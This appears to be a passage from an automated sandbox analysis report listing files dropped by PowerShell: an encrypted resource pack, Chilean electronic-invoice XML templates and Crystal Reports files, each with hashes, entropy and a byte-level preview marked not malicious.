Preview:	.Yyhwi`.h.TBe.wI.......Uv.p.L.jr.X.C.wOC...A..xcUB]m..........Ng]hQ....Ytft.r..Gd...Mh...H.j.S.j.....Q..C...a...V..].Q......pr....JHIu.A]nqH.Vd.J....S.a..l.Xxa...b...SP[.....fTdTiB.c.ZrNW.l.Vf....D\qau...Z...I.e..Foq..I...q...^S....N....q.JN..r.f..L..ium.CyJA.Llf.`iRj.A.R..qTk.E.m.ju.`.]wdu.J._.....cu.C.w...Cj.o.pj.joWK`F[.W..Ox.WZ.SPd..R....vR...\ix...d[DM.Jo.jC.]..jVd.]Gm..y....Yw...Q^..Z^.v.iJ.[v.oc...........BDu`E.n.Vp[...iB.c...It..qm.Za.K.rBZ.rX..j[N.t.N..C....au.MUEXXCZgev.L..B.dv.p...t.cC]..^p..VtgD.mM...L..._..dTFLa.apPPP.BP..B..jpF..`.e..ZC.cD.jv.QZ.C^W.iMP..bQ.kx.c....].A.u..by.Xya.r.h...sa.XK]BBx...n....eDH...Y..L.......tBD.v.T.J.e........upI...u.sse..l.W...d.la.^C].e_.Z..R.EXFqB]^O..svg...Mh.dA.......C...PL...t.D..P.[Bn_..Kah.t...l\.H..m.....yE.C^..e.....Mqd..AP.E.YC..s..b.v.AKW.gp...Tl..S.HRC.INlq]N.cLuY.nY.H.q_.JG.UWDoG...L.g..l.UX.Gd....R.t..CSpqN..`Sl.q.liB......UiZav..D.Pk..q...k....kM......Vgh_x..ld..tAmd..eXm.QD..i.I.L....x.^.Gb_TUG..cdq.NW^._plI`l.s.O...P..HS.[.O.U

C:\Users\user\AppData\Local\Temp\file\resources.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5113668
Entropy (8bit):	7.996610650988207
Encrypted:	true
SSDEEP:	98304:b6zN1Kt66I0+1Yk93pPVrXh188CYCUrwr1ISgMRQK8nXCpGm5vEybt:+zjKt66bGVrhm8hCUkrGsyCV5vXbt
MD5:	DF15387BF046715CC592A690DA33E4B1
SHA1:	AD93B08DFF82CBD894F6A0A9733C70D7E564113D
SHA-256:	11D0F55C105883D203137A87A610BA793299DC4774FD6D8B3A86666A2C337041
SHA-512:	71244553D7B1B559FCAAA059622C340D22148BD5324FA3F6730D37322025DBFE5E853948B49B91DB6022A25BCA4DDBAB8FE6EE1522A461963DFBA04A7C93D69A
Malicious:	false
Preview:	............f.....h..&.....&.....&..........0.....0.....0.....0...0.0...0,9...0.;...07M...0nV...0.^...0.`...0Wg...0.i...0.l...0.l...0.n...0.o...0.p...0.u...0Yz...0.....0l....0.....0i....0.....0g....0.....0....0%....0e....0.....0.....0<....0.....0.....0K....0.....0\....1\|....1y....1.....1.....1H3..(7Q6..-7.A...7.B../7.E..07uJ..17)T..27.U..37.W..47Al..57.q..670...77...87....97^...:7....;7....<7....=7....>7....?7....@7Z...A7....B7\...C7....D7....E7....F7....G7....H7....j7Z...k7....l7....m7J...n7....o7....p7....q7....r7.,..s7.7..t7.d..u7xl..v7N...w7g...x7w...y7#...z7....{7....\|7[...}7...~7w....74....7.....7....7.....7.....7....7....7W....7g....7$....;f....;.....;.....;.....;I....;W....<Q....<,....<.....<.....<.....<Q....< ....<.....<.....<.....<2...<.5...<.k...<{p...<.x...<O....< ....<.....<.....<.....<....<.....<.....<l....<.....<Q....H.(...H.-...H.2...H.3...H.7...H.J...H.S...H.V...HaY...Hoa...H.f...H.l...H.v...H.\|...H?....HT....H.....H.....H.....Hk....H.....H.....H2....H.....H..

C:\Users\user\AppData\Local\Temp\file\x64\Templates\Caratula.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	270
Entropy (8bit):	4.780495001931742
Encrypted:	false
SSDEEP:	6:22NEmcNVUsO4PXOer+wbbabo86B4bZqkxe/4DPSXP/szI1Mvn:2MqNiXFeNQAB4s4E4r6/szAMv
MD5:	ED0EA91F915E39BEDDE510DADBE92012
SHA1:	AD67D45B26849AC90171AF3A0CD4FC6421E4AFEC
SHA-256:	65698FEF2B022EE7200505362132E123B7A2A4D8CD05E30EAFD2D048E9B3081A
SHA-512:	6C3A77FFACB0735C4539939767D2FBC8DA48C729A86D182FE39643264F69087FD095FD6621DC5A8CFE4BA92030354F3D96761D60DF6107ED09419EF6C4611233
Malicious:	false
Preview:	<Caratula version="1.0">...<RutEmisor></RutEmisor>...<RutEnvia></RutEnvia>...<RutReceptor></RutReceptor>...<FchResol></FchResol>...<NroResol></NroResol>...<TmstFirmaEnv></TmstFirmaEnv>...<SubTotDTE>....<TpoDTE></TpoDTE>....<NroDTE></NroDTE>...</SubTotDTE>..</Caratula>..

C:\Users\user\AppData\Local\Temp\file\x64\Templates\CaratulaAEC.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	229
Entropy (8bit):	4.5770659889039305
Encrypted:	false
SSDEEP:	6:22NhO6/Om9LlywmlAZyQly4RlAZaS+zZO86WKI1b:2MhOEEwmGy4/U+MbWKAb
MD5:	17A7D5E0030CB26148276F8BC67013EC
SHA1:	BFFD5A2EDE1FFEFA1B151F7DABD584BDD05EDB76
SHA-256:	0BB675F131E18091136D9A5C804346A248C27FCDE741CCA15BBEC705502BFDF3
SHA-512:	BBCC89C75602B425A3CD02BEFE8EB9E6F9B200CB1F242ABD3D5C21E8184FC21CFE5E141128B44D07193192F3FB60E546111E908F91BCA634066696DC91405682
Malicious:	false
Preview:	<Caratula version="1.0">...<RutCedente></RutCedente>...<RutCesionario></RutCesionario>...<NmbContacto></NmbContacto>...<FonoContacto></FonoContacto>...<MailContacto></MailContacto>...<TmstFirmaEnvio></TmstFirmaEnvio>..</Caratula>

C:\Users\user\AppData\Local\Temp\file\x64\Templates\CaratulaLibrosDte.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	212
Entropy (8bit):	4.679761096062384
Encrypted:	false
SSDEEP:	6:2MvsOENdutBK8bAsZ1b9sZO9OvqMyrKLyI1b:2MNUopUoXwvqdrlAb
MD5:	9001B3E776632B65E7425F90E5D1BBB2
SHA1:	3D563826C38AE80F760215E86F725182B40F1470
SHA-256:	9116A791F8E1A61D883772B1B97B1520071D3DC4724C930621C11BFFFDC66D0B
SHA-512:	C5B5F7F1E7188B162ADD3E1AA058F4C7FD94CB0B3469A6E4F2137A566FA57B507AFA5E36647089AFE3B8B982F6760CC6DCC743922F746F6A59D9FEAD06A116D2
Malicious:	false
Preview:	<Caratula>...<RutEmisorLibro/>...<RutEnvia/>...<PeriodoTributario/>...<FchResol/>...<NroResol/>...<TipoOperacion/>...<TipoLibro/>...<TipoEnvio/>...<NroSegmento/>...<FolioNotificacion/>...<CodAutRec/>..</Caratula>

C:\Users\user\AppData\Local\Temp\file\x64\Templates\ConfigComplementos.rpt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Revision Number: 10, Total Editing Time: 48:06, Last Saved Time/Date: Tue Oct 3 14:59:00 2017, Create Time/Date: Tue May 30 17:43:41 2017, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Name of Creating Application: Crystal
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.623472698591496
Encrypted:	false
SSDEEP:	192:lZ7LAfF3MwMlGM1M4MxM7MEZg7Bv4dOmYwcXBmwTEowvrM2mVhG2q+Xa0cWIQr:30SZg7J4oBwcXBvgoCY2m3S
MD5:	F5E0F49448C961D00F5E1FB5ABABAF60
SHA1:	9683C793075368ECF3575D8D4E4571BE1A021B1D
SHA-256:	3F95F256B75C853FF5FA9B5133903D6A7D99A0589B3FD72FB2F9E76DC672BE82
SHA-512:	E8798587ED0964654A77D42C4E49F62D3F781C49A07728C7161CA59854F8428336A122B914926FD42138AC3F487C1990F996B785574A75C5DA62394381E5177E
Malicious:	false
Preview:	......................>.......................\..........._...............].......................................................................................................................................................................................................................................................................................................................................................................................................................................................S.......N............................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M.......O...P...Q...R...T.......U...V...W...X...Y...Z...[...............................................................................................................................

C:\Users\user\AppData\Local\Temp\file\x64\Templates\DTECompraInt.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6287
Entropy (8bit):	4.827706896310135
Encrypted:	false
SSDEEP:	192:TWtB9RPxxioLPkbFDjn5ozNKNmg9CJ1sos/bVMZa/1ZBD9B:TuKN0w9ZTSa9B
MD5:	C597931D5C184AA1BF329FCF149513FC
SHA1:	0FBECA0172E9A38D7D47F76254048C0A70C23DA2
SHA-256:	C874332154350BE38F1B8116C876C0535FCB7BE1816595E64C915E3A4563FEE9
SHA-512:	BD7F7464978DD17AC36D131B054CA956C66DE091FF5283EADE6A9AA83AE1C6ACFCDA66E8374E9D5E697725E26F26035FBC93191B79455FC8F4142A46D5AC5CAB
Malicious:	false
Preview:	<DTE version="1.0">...<Documento ID="">....<Encabezado>.....<IdDoc>......<TipoDTE></TipoDTE>......<Folio></Folio>......<FchEmis></FchEmis>......<IndNoRebaja></IndNoRebaja>......<TipoDespacho></TipoDespacho>......<IndTraslado></IndTraslado>......<TpoImpresion></TpoImpresion>......<IndServicio></IndServicio>......<MntBruto></MntBruto>......<TpoTranVenta></TpoTranVenta>......<FmaPago></FmaPago>......<FmaPagExp></FmaPagExp>......<FchCancel></FchCancel>......<MntCancel></MntCancel>......<SaldoInSol></SaldoInSol>......<MntPagos>.......<FchPago></FchPago>.......<MntPago></MntPago>.......<GlosaPagos></GlosaPagos>......</MntPagos>......<PeriodoDesde></PeriodoDesde>......<PeriodoHasta></PeriodoHasta>......<MedioPago></MedioPago>......<TpoCtaPago></TpoCtaPago>......<NumCtaPago></NumCtaPago>......<BcoPago></BcoPago>......<TermPagoCdg></TermPagoCdg>......<TermPagoGlosa></TermPagoGlosa>......<TermPagoDias></TermPagoDias>......<FchVenc></FchVenc>.....</IdDoc>.....<Emisor>......<RUTEmisor></RUTEmisor>

C:\Users\user\AppData\Local\Temp\file\x64\Templates\DTEReportes_.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	4.64166159992953
Encrypted:	false
SSDEEP:	24:Fq12ODB/kOlqTnpLU/MU91+i+oi4B0qqv:w1M1L172Ev
MD5:	755153E215B08A2984BB6874BF929B7F
SHA1:	F40E5E944696D4F00409A7888C4458E670C6CFB9
SHA-256:	06D1DB7E20D7F5588B3876C05A31C4057B8544406E6410B994D9974ECF3CF210
SHA-512:	C61C2D6734048FDE90952252BC478069374C16C5FD8D9D5A7C8ED554E55B6186B4A7F8FD4467621420CDCD0450579E3419A70E7E93CEB99E12E0B96C7C1367F2
Malicious:	false
Preview:	<CONFIG.RPT>...<CONFIG>....<Reporte>.....<TipoDte>033</TipoDte>.....<Nombre>Factura_CF.rpt</Nombre>....</Reporte>....<Reporte>.....<TipoDte>034</TipoDte>.....<Nombre>Factura_CF(Exenta).rpt</Nombre>....</Reporte>....<Reporte>.....<TipoDte>043</TipoDte>.....<Nombre>Factura_CF.rpt</Nombre>....</Reporte>....<Reporte>.....<TipoDte>052</TipoDte>.....<Nombre>GuiaDespacho_CF.rpt</Nombre>....</Reporte>....<Reporte>.....<TipoDte>056</TipoDte>.....<Nombre>NotaDebito_CF.RPT</Nombre>....</Reporte>....<Reporte>.....<TipoDte>061</TipoDte>.....<Nombre>NotaCredito_CF.RPT</Nombre>....</Reporte>....<Reporte>.....<TipoDte>110</TipoDte>.....<Nombre>FacturaExp_CF.rpt</Nombre>....</Reporte>....<Reporte>.....<TipoDte>111</TipoDte>.....<Nombre>NotaDebitoExp_CF.RPT</Nombre>....</Reporte>....<Reporte>.....<TipoDte>112</TipoDte>.....<Nombre>NotaCreditoExp_CF.RPT</Nombre>....</Reporte>....<Reporte>.....<TipoDte>112</TipoDte>.....<Nombre>NotaCredExp_CF.RPT</Nombre>....</Reporte>......<Reporte>.....<TipoDte>046</Tip

C:\Users\user\AppData\Local\Temp\file\x64\Templates\DetalleLibro.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.916058905548224
Encrypted:	false
SSDEEP:	24:FwSWMvU7VXTNTSoKo2lOxZlpYo2M0Ib1aug51j9LC4C8CO2p:3lU7V5edrlClpYrMV1aVj9LRv6p
MD5:	878F702458D87EF7EEDCD43FA36A113C
SHA1:	058FA653F5330874470F780012119CFB5075494F
SHA-256:	6C3A1AB73D28FBF01DD133C9308CD9A748A9EEAA4781EFA95F76846838B7ACC0
SHA-512:	FAD388102D9E75E62C2362BA831C834009BEF7C06288285CE467BD949FEE47B5A7C7C0414F0362F56241A03ED1E2797B3958CEB2CCE97C32F258141B7A9CA65D
Malicious:	false
Preview:	<Detalle>...<TpoDoc/>...<Emisor/>...<NroDoc/>...<Anulado/>...<Operacion/>...<TpoImp/>...<TasaImp/>...<NumInt/>...<IndServicio/>...<IndSinCosto/>...<FchDoc/>...<CdgSIISucur/>...<RUTDoc/>...<RznSoc/>...<TpoDocRef/>...<FolioDocRef/>...<MntExe/>...<MntNeto/>...<MntIVA/>...<MntActivoFijo/>...<MntIVAActivoFijo/>...<IVANoRec>....<CodIVANoRec/>....<MntIVANoRec/>...</IVANoRec>...<IVAUsoComun/>...<IVAFueraPlazo/>...<IVAPropio/>...<IVATerceros/>...<Ley18211/>...<OtrosImp>....<CodImp/>....<TasaImp/>....<MntImp/>...</OtrosImp>...<MntSinCred/>...<IVARetTotal/>...<IVARetParcial/>...<CredEC/>...<DepEnvase/>...<MntNoFact/>...<MntTotal/>...<IVANoRetenido/>...<MntNoFact/>...<MntPeriodo/>...<PsjNac/>...<PsjInt/>...<TabPuros/>...<TabCigarrillos/>...<TabElaborado/>...<ImpVehiculo/>...<Liquidaciones>....<RutEmisor/>....<ValComNeto/>....<ValComExe/>....<ValComIVA/>...</Liquidaciones>..</Detalle>

C:\Users\user\AppData\Local\Temp\file\x64\Templates\DetalleLibroGuia.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	224
Entropy (8bit):	4.597174115033529
Encrypted:	false
SSDEEP:	6:FgjZWAI18Nn9V8soIu7pvR57OB2WMu4WORAGp/Ahb/obRVOb:FEZWAAg96soI4f1yBGp/AZ/ob4
MD5:	2199A087AA7C69753F3347F0C3EE579E
SHA1:	0427AEAC624B0D4423D6515A97CE49788E3016E8
SHA-256:	32E3346EDDA848734F26673C4E5BB09CDD915E95E171FE2A37AEAF171EC3C995
SHA-512:	06B0A92DF865D6557CEE430EB7A13B373E8E284A303D9EA9F4E9448263065D318CA00B411030E8BCAACB8AA4D2B3DF7E9DFB3BBAE4C27B89F644EBF9DAFE965E
Malicious:	false
Preview:	<Detalle>...<Folio/>...<Anulado/>...<Operacion/>...<TpoOper/>...<FchDoc/>...<RUTDoc/>...<RznSoc/>...<MntNeto/>...<TasaImp/>...<IVA/>...<MntTotal/>...<MntModificado/>...<TpoDocRef/>...<FolioDocRef/>...<FchDocRef/>..</Detalle>

C:\Users\user\AppData\Local\Temp\file\x64\Templates\Dte.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6736
Entropy (8bit):	4.842599194492624
Encrypted:	false
SSDEEP:	192:TWtB9RPxxioLPkbFDjn5ozNKNmg9CJ1sos/bVMZa/1ZBBBHalM+pew:TuKN0w9ZTSi6l6w
MD5:	A37A9B5775B8986388123F198A61A2F3
SHA1:	D14062377D57053A1D3F1B61CF9B978C9F8BBE4A
SHA-256:	F95E2BD8D31A9DC5683FF65219AB14897C9BB62EF44848C19D551CEF20E3C72A
SHA-512:	33867FDF5EC1BB4D920043610E2B2B4A0233B1866A45FFC738FD654EE7224EAFB0D4EB9EB3207658EFA0CE6A7D0C01D10055C5F1573044EEB2BE44808DCE3E40
Malicious:	false
Preview:	<DTE version="1.0">...<Documento ID="">....<Encabezado>.....<IdDoc>......<TipoDTE></TipoDTE>......<Folio></Folio>......<FchEmis></FchEmis>......<IndNoRebaja></IndNoRebaja>......<TipoDespacho></TipoDespacho>......<IndTraslado></IndTraslado>......<TpoImpresion></TpoImpresion>......<IndServicio></IndServicio>......<MntBruto></MntBruto>......<TpoTranVenta></TpoTranVenta>......<FmaPago></FmaPago>......<FmaPagExp></FmaPagExp>......<FchCancel></FchCancel>......<MntCancel></MntCancel>......<SaldoInSol></SaldoInSol>......<MntPagos>.......<FchPago></FchPago>.......<MntPago></MntPago>.......<GlosaPagos></GlosaPagos>......</MntPagos>......<PeriodoDesde></PeriodoDesde>......<PeriodoHasta></PeriodoHasta>......<MedioPago></MedioPago>......<TpoCtaPago></TpoCtaPago>......<NumCtaPago></NumCtaPago>......<BcoPago></BcoPago>......<TermPagoCdg></TermPagoCdg>......<TermPagoGlosa></TermPagoGlosa>......<TermPagoDias></TermPagoDias>......<FchVenc></FchVenc>.....</IdDoc>.....<Emisor>......<RUTEmisor></RUTEmisor>

C:\Users\user\AppData\Local\Temp\file\x64\Templates\DteAEC.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	904
Entropy (8bit):	4.396078590343282
Encrypted:	false
SSDEEP:	24:SlGw04KPFryGzWCQDMom2gQPALoRTg0Go3T3vgUl/XzEvgrH9UP05TH3vgUl/X0O:wGw04KPFryQQD/m2gQ6oRTg0tj4Ul/Xd
MD5:	1F17C7B30E561DADC9E8C6E8C14FE967
SHA1:	925B42D7065C2C6E8C784ADE994C38B9C7F3544C
SHA-256:	17B4221B432C3A98AD89D2C0156D2F8B66C35BACD4C0906F7EC6F927D47107C7
SHA-512:	95639083A1040DB5857CA3C201D3935085E38D950763FD086A064277D92BA62BCEABED29391FB5438EFDBCCD354C5F741DC73955802CEA9FA909E295980F7F4B
Malicious:	false
Preview:	..<Cesiones>.....<DTECedido version="1.0">......<DocumentoDTECedido ID="">.......<DTE version="1.0">.......</DTE>.......<ImagenDTE/>.......<TmstFirma/>......</DocumentoDTECedido>.....</DTECedido>.....<Cesion version="1.0">......<DocumentoCesion ID="">.......<SeqCesion/>.......<IdDTE>........<TipoDTE/>........<RUTEmisor/>........<RUTReceptor/>........<Folio/>........<FchEmis/>........<MntTotal/>.......</IdDTE>.......<Cedente>........<RUT/>........<RazonSocial/>........<Direccion/>........<eMail/>........<RUTAutorizado>.........<RUT/>.........<Nombre/>........</RUTAutorizado>........<DeclaracionJurada/>.......</Cedente>.......<Cesionario>........<RUT/>........<RazonSocial/>........<Direccion/>........<eMail/>.......</Cesionario>.......<MontoCesion/>.......<UltimoVencimiento/>.......<OtrasCondiciones/>.......<eMailDeudor/>.......<TmstCesion/>......</DocumentoCesion>.....</Cesion>....</Cesiones>

C:\Users\user\AppData\Local\Temp\file\x64\Templates\DteExp.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6297
Entropy (8bit):	4.82888014589633
Encrypted:	false
SSDEEP:	192:oXtB9RPxxioLPkbFDjn5ozNKNmg9CJ1sos/bVMZa/1ZBD9q:0KN0w9ZTSa9q
MD5:	8DFDBB8D1574995B637FD5F370C1957E
SHA1:	1C533B5A02934F14318FAEA113971ADCEE5FFAFA
SHA-256:	7EE7074A49D24DF9FB60E5BD744741B45E47F6FD981E0DC84442194A78121BDA
SHA-512:	7432C6A9BE85A175F9BA778C3066F928D009A15339FDC79C7DFB69D5BC48116B4784B75F72C871EB6F643B28F42935464A7294FA25776ED217F532647BAB4073
Malicious:	false
Preview:	<DTE version="1.0">...<Exportaciones ID="">....<Encabezado>.....<IdDoc>......<TipoDTE></TipoDTE>......<Folio></Folio>......<FchEmis></FchEmis>......<IndNoRebaja></IndNoRebaja>......<TipoDespacho></TipoDespacho>......<IndTraslado></IndTraslado>......<TpoImpresion></TpoImpresion>......<IndServicio></IndServicio>......<MntBruto></MntBruto>......<TpoTranVenta></TpoTranVenta>......<FmaPago></FmaPago>......<FmaPagExp></FmaPagExp>......<FchCancel></FchCancel>......<MntCancel></MntCancel>......<SaldoInSol></SaldoInSol>......<MntPagos>.......<FchPago></FchPago>.......<MntPago></MntPago>.......<GlosaPagos></GlosaPagos>......</MntPagos>......<PeriodoDesde></PeriodoDesde>......<PeriodoHasta></PeriodoHasta>......<MedioPago></MedioPago>......<TpoCtaPago></TpoCtaPago>......<NumCtaPago></NumCtaPago>......<BcoPago></BcoPago>......<TermPagoCdg></TermPagoCdg>......<TermPagoGlosa></TermPagoGlosa>......<TermPagoDias></TermPagoDias>......<FchVenc></FchVenc>.....</IdDoc>.....<Emisor>......<RUTEmisor></RUTEmi

C:\Users\user\AppData\Local\Temp\file\x64\Templates\DteLiqFact.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6456
Entropy (8bit):	4.836224817189358
Encrypted:	false
SSDEEP:	192:OtBpRPxxioLPkbFDjn5ozNKNmg9CJ1sos/bVMZa/1ZBRBHal9Q:GeN0w9ZTSk6l9Q
MD5:	88CDDEC034BA3719DF804F490AA50345
SHA1:	193D26ECB7DFF613E67294EE86C14B02B24C2D96
SHA-256:	76D3F8A0292E528571EDE0259AECA627C46FCDFCE5EFB239B85047C279EA7318
SHA-512:	E1277ECFAE19976D61E8EABECC2DDC35394EE52B7151490C3549B2A510A157407D827F60F6A9FF2A2E6BD5BC5FA872DE9E2D2AD445B8B46954442330B367BA8F
Malicious:	false
Preview:	<DTE version="1.0">...<Liquidacion ID="">....<Encabezado>.....<IdDoc>......<TipoDTE></TipoDTE>......<Folio></Folio>......<FchEmis></FchEmis>......<IndNoRebaja></IndNoRebaja>......<TipoDespacho></TipoDespacho>......<IndTraslado></IndTraslado>......<TpoImpresion></TpoImpresion>......<IndServicio></IndServicio>......<MntBruto></MntBruto>......<FmaPago></FmaPago>......<FmaPagExp></FmaPagExp>......<FchCancel></FchCancel>......<MntCancel></MntCancel>......<SaldoInSol></SaldoInSol>......<MntPagos>.......<FchPago></FchPago>.......<MntPago></MntPago>.......<GlosaPagos></GlosaPagos>......</MntPagos>......<PeriodoDesde></PeriodoDesde>......<PeriodoHasta></PeriodoHasta>......<MedioPago></MedioPago>......<TpoCtaPago></TpoCtaPago>......<NumCtaPago></NumCtaPago>......<BcoPago></BcoPago>......<TermPagoCdg></TermPagoCdg>......<TermPagoGlosa></TermPagoGlosa>......<TermPagoDias></TermPagoDias>......<FchVenc></FchVenc>.....</IdDoc>.....<Emisor>......<RUTEmisor></RUTEmisor>......<RznSoc></RznSoc>......<Gir

C:\Users\user\AppData\Local\Temp\file\x64\Templates\InformeDoctosProcesados.rpt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 4.0, Code page: 1252, Revision Number: 17, Total Editing Time: 02:33:58, Last Saved Time/Date: Fri Oct 6 15:23:13 2017, Create Time/Date: Mon Dec 31 09:33:07 2001, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Name of Creating Application: Crystal Reports A
Category:	dropped
Size (bytes):	14848
Entropy (8bit):	7.030845333841075
Encrypted:	false
SSDEEP:	384:CvGMa0KzJ/3SFndklEtddb9XxoLJ9UyUP7/TJmEMaA8rJKNA:GGr0KzMVRXxoLJ9UyOjVTMqA
MD5:	BBF8CA679AEF34B2416F5450050C9929
SHA1:	BAFA3194904554C4E0CD11290AB4BBD0349339F6
SHA-256:	CE4EF809A8ECAABC2E1275FBE2C88E752919BE49FF61564FFE3571C8C8FD9EED
SHA-512:	ECCC3D64BD836768222EC9A8D1A5A366080D00C1C4A71D5BABE170C233C383400E4AFADB1F98724A7AD32EECA641C692E300149B4486A3AB30797FBBDE765AEC
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\file\x64\Templates\Libro.rpt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 4.0, Code page: 1252, Subject: Comercial/F, Author: Mana, Keywords: 7.12., Last Saved By: Mana, Revision Number: 70, Total Editing Time: 13d+05:08:33, Last Saved Time/Date: Wed May 30 16:30:35 2018, Create Time/Date: Thu Nov 3 20:02:21 2005, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Name of Creating Application: Crystal Reports A, Title: Emisin de Libr
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	7.631435330745761
Encrypted:	false
SSDEEP:	768:p8STnUYruKlMIp3dQJVVy9LYQr4nE7H8CmLH:pdpp3dQyKQr4ECH
MD5:	FFDA3F524094038483D0B6F0AC945F15
SHA1:	CFA699FE7D4FD5BB04B0AC1D4898160421B28AF4
SHA-256:	14C1CC920D453968712CEB7DBDC01BF6B43F3EC8FA885EC807751B83D6A03B2B
SHA-512:	CC55D2A57A40A93B3A33A6494E34C912E92BDAC372E68C940CC957E5F83B83156ABE15FE64B58DE8E5365D79E09FA97C2604736C8948BC802C6A44846CB9B157
Malicious:	false
Preview:	......................>.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.e.p.o.r.t.I.n.f.o.................................................................................................E...:...............................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\file\x64\Templates\LibroCompra.rpt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 4.0, Code page: 1252, Subject: Comercial/F, Author: The Flexlin, Keywords: 7.10., Last Saved By: The Flexlin, Revision Number: 72, Total Editing Time: 11d+01:53:31, Last Saved Time/Date: Wed Feb 22 15:26:45 2017, Create Time/Date: Thu Nov 3 20:02:21 2005, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Name of Creating Application: Crystal Reports A, Title: Emisin de Libr
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	7.656075584412774
Encrypted:	false
SSDEEP:	384:5N1Hr59NVwjmglTknxaZ4KI2YMHQIn8HmQVAtUjhXX7py2c8CkRpId5QTEpP/iwm:VLYLY9fVAtUjhNbpQ+gFqth4reV
MD5:	C9067A417EAECF88E4B5DEFF30980C7B
SHA1:	CF8EB169DE07310236D424E90C40AD2E29397AE1
SHA-256:	FD93E888AC598ABC1042AE5CD7953DA19182C3C54A17F7209F7BB3474E46A1C9
SHA-512:	64E01FDBD8F650AB4396CBEF0B143DD8AEDDE960A6E0414570E35E94E9ED25B71497C8131C027C136AD0A712F6A9211E73014DE5C06C27E3BF4183AEC809FBCD
Malicious:	false
Preview:	......................>.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.e.p.o.r.t.I.n.f.o.................................................................................................@...:...............................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\file\x64\Templates\LibroF.rpt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 4.0, Code page: 1252, Subject: Comercial/F, Author: The Flexlin, Keywords: 7.10., Last Saved By: The Flexlin, Revision Number: 65, Total Editing Time: 4d+08:30:32, Last Saved Time/Date: Mon Feb 27 20:21:12 2012, Create Time/Date: Thu Nov 3 20:02:21 2005, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Name of Creating Application: Crystal Reports A, Title: Emisin de Libr
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	5.683330739838741
Encrypted:	false
SSDEEP:	768:DPMzWucTc2ZlVgx4OPW8M4tbuuvVp08LWPPKd3:D0zWbciM4O+Oqu9pDCPKd
MD5:	0DBF81BDD94DC85B6164783928CCBAFB
SHA1:	732A929C8EF5F805FCC8E10E42016488C44855A6
SHA-256:	AD2135E29EF3CE5D78244C5FCD41512B7475D3DF19457D9F02A21E801C3018F4
SHA-512:	403003A7C28725BA1237C3628743FFD3BE5710BE4D709EFC3059375C24AEC65C4789175E7F1FF9CC54421A63E80FAD35C2B8F4285C805077B1C209CEA867EDE5
Malicious:	false
Preview:	......................>.......................<...........@...............=........................................................................................................................................................................................................................................................................................................................................................................................................................................................................&Y.u`..0..F.......`...rgV(FG...CE...R...XJ.g7R..~..}...n......s...=.~\..,_w.......s9........{Q.....U9(b..K.....t.h.A7\|..9..A.Hl..%W[b..2=:v..u. 